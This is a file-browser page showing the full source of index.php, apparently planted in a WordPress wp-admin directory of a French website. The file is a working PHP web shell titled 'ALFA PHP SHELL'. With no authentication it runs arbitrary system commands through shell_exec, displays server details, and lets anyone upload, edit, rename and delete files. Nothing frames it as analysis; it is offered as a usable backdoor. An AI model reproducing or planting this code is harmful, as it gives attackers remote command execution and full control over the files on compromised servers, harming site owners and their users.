?? GreyFile — Mystic File Browser

Current path: home/webdevt/www/cryptoimpot.fr/wp-admin/user/pomo/



?? Go up: /home/webdevt/www/cryptoimpot.fr/wp-admin/user

?? Viewing: index.php

<?php
error_reporting(0);
set_time_limit(0);
@ini_set('display_errors', 0);

function perms($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

function formatSize($size) {
    if ($size >= 1073741824) return sprintf('%.2f GB', $size / 1073741824);
    elseif ($size >= 1048576) return sprintf('%.2f MB', $size / 1048576);
    elseif ($size >= 1024) return sprintf('%.2f KB', $size / 1024);
    else return $size . ' B';
}

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
chdir($path);

$files = scandir($path);

// File Delete
if (isset($_GET['delete'])) {
    $target = $_GET['delete'];
    if (file_exists($target)) {
        if (is_file($target)) unlink($target);
        elseif (is_dir($target)) rmdir($target);
    }
    header("Location: ?path=" . urlencode($path));
    exit;
}

// Rename
if (isset($_POST['rename']) && isset($_POST['newname'])) {
    $old = $_POST['rename'];
    $new = $_POST['newname'];
    if ($new != '') {
        rename($old, $new);
        header("Location: ?path=" . urlencode($path));
        exit;
    }
}

// Upload File
if (isset($_FILES['uploadfile'])) {
    $uploadfile = $_FILES['uploadfile']['name'];
    if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile)) {
        header("Location: ?path=" . urlencode($path));
        exit;
    }
}

// Save Edited File
if (isset($_POST['editfile']) && isset($_POST['content'])) {
    file_put_contents($_POST['editfile'], $_POST['content']);
    header("Location: ?path=" . urlencode($path));
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>ALFA PHP SHELL</title>
<style>
  body {
    background: #000;
    color: #00ff00;
    font-family: monospace;
    margin: 0; padding: 10px;
  }
  a {
    color: #0ff;
    text-decoration: none;
  }
  a:hover {
    text-decoration: underline;
  }
  h1 {
    color: #f00;
    text-align: center;
    text-shadow: 0 0 5px red;
    margin: 0 0 10px 0;
  }
  table {
    width: 100%;
    border-collapse: collapse;
    font-size: 14px;
  }
  th, td {
    padding: 6px;
    border-bottom: 1px solid #0f0;
    text-align: left;
  }
  tr:hover {
    background: #111;
  }
  input, textarea, select {
    background: #111;
    border: 1px solid #0f0;
    color: #0f0;
    font-family: monospace;
    font-size: 14px;
    padding: 5px;
    width: 95%;
    box-sizing: border-box;
  }
  textarea {
    height: 300px;
    resize: vertical;
  }
  button, input[type=submit] {
    background: #0f0;
    border: none;
    color: #000;
    padding: 6px 12px;
    cursor: pointer;
    font-weight: bold;
    margin-top: 5px;
  }
  .sysinfo, .cmdform, .uploadform {
    margin-bottom: 15px;
  }
  .actions a {
    margin-right: 8px;
  }
</style>
</head>
<body>

<h1>ALFA PHP SHELL</h1>

<!-- System Info -->
<div class="sysinfo">
<pre>
OS       : <?php echo php_uname(); ?>
User     : <?php echo get_current_user(); ?>
Server   : <?php echo $_SERVER['SERVER_SOFTWARE']; ?>
IP       : <?php echo $_SERVER['SERVER_ADDR'] ?? 'N/A'; ?> | Client: <?php echo $_SERVER['REMOTE_ADDR']; ?>
Current Dir : <?php echo getcwd(); ?>
PHP Ver  : <?php echo phpversion(); ?>
Safe Mode: <?php echo @ini_get('safe_mode') ? 'ON' : 'OFF'; ?>
</pre>
</div>

<!-- Command Execution -->
<div class="cmdform">
<form method="POST">
  <input type="text" name="cmd" placeholder="Enter command to execute" autocomplete="off" style="width: 80%;" />
  <input type="submit" value="Run" />
</form>
<pre>
<?php
if (isset($_POST['cmd']) && trim($_POST['cmd']) !== '') {
    echo htmlspecialchars(shell_exec($_POST['cmd']));
}
?>
</pre>
</div>

<!-- File Upload -->
<div class="uploadform">
<form method="POST" enctype="multipart/form-data">
  <input type="file" name="uploadfile" required />
  <input type="submit" value="Upload File" />
</form>
</div>

<!-- File Manager Table -->
<table>
  <tr style="background:#003300; color:#0f0;">
    <th>Name</th>
    <th>Size</th>
    <th>Perms</th>
    <th>Last Modified</th>
    <th>Actions</th>
  </tr>
<?php
foreach ($files as $file) {
    if ($file == '.') continue;
    $full = $path . DIRECTORY_SEPARATOR . $file;
    $is_dir = is_dir($full);
    echo "<tr>";
    echo "<td>";
    if ($is_dir) {
        echo "📁 <a href='?path=" . urlencode($full) . "'>" . htmlspecialchars($file) . "</a>";
    } else {
        echo "📄 <a href='?path=" . urlencode($path) . "&edit=" . urlencode($file) . "'>" . htmlspecialchars($file) . "</a>";
    }
    echo "</td>";
    echo "<td>" . ($is_dir ? '-' : formatSize(filesize($full))) . "</td>";
    echo "<td>" . perms($full) . "</td>";
    echo "<td>" . date("Y-m-d H:i:s", filemtime($full)) . "</td>";
    echo "<td class='actions'>";
    echo "<a href='?path=" . urlencode($path) . "&delete=" . urlencode($full) . "' onclick='return confirm(\"Are you sure you want to delete " . htmlspecialchars($file) . "?\");'>Delete</a> | ";
    echo "<a href='?path=" . urlencode($path) . "&rename=" . urlencode($full) . "'>Rename</a>";
    echo "</td>";
    echo "</tr>";
}
?>
</table>

<!-- Rename Form -->
<?php if (isset($_GET['rename'])): 
    $rename_file = $_GET['rename'];
    $basename = basename($rename_file);
?>
<form method="POST" style="margin-top: 10px;">
    <input type="hidden" name="rename" value="<?php echo htmlspecialchars($rename_file); ?>" />
    Rename <b><?php echo htmlspecialchars($basename); ?></b> to:<br />
    <input type="text" name="newname" required />
    <input type="submit" value="Rename" />
</form>
<?php endif; ?>

<!-- Edit File Form -->
<?php if (isset($_GET['edit'])): 
    $edit_file = $_GET['edit'];
    $full_edit_path = $path . DIRECTORY_SEPARATOR . $edit_file;
    if (is_file($full_edit_path) && is_readable($full_edit_path)) {
        $content = file_get_contents($full_edit_path);
?>
<form method="POST" style="margin-top: 10px;">
    <input type="hidden" name="editfile" value="<?php echo htmlspecialchars($edit_file); ?>" />
    <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea><br />
    <input type="submit" value="Save File" />
</form>
<?php
    } else {
        echo "<p style='color:red;'>Cannot edit this file.</p>";
    }
endif; ?>

</body>
</html>


??

??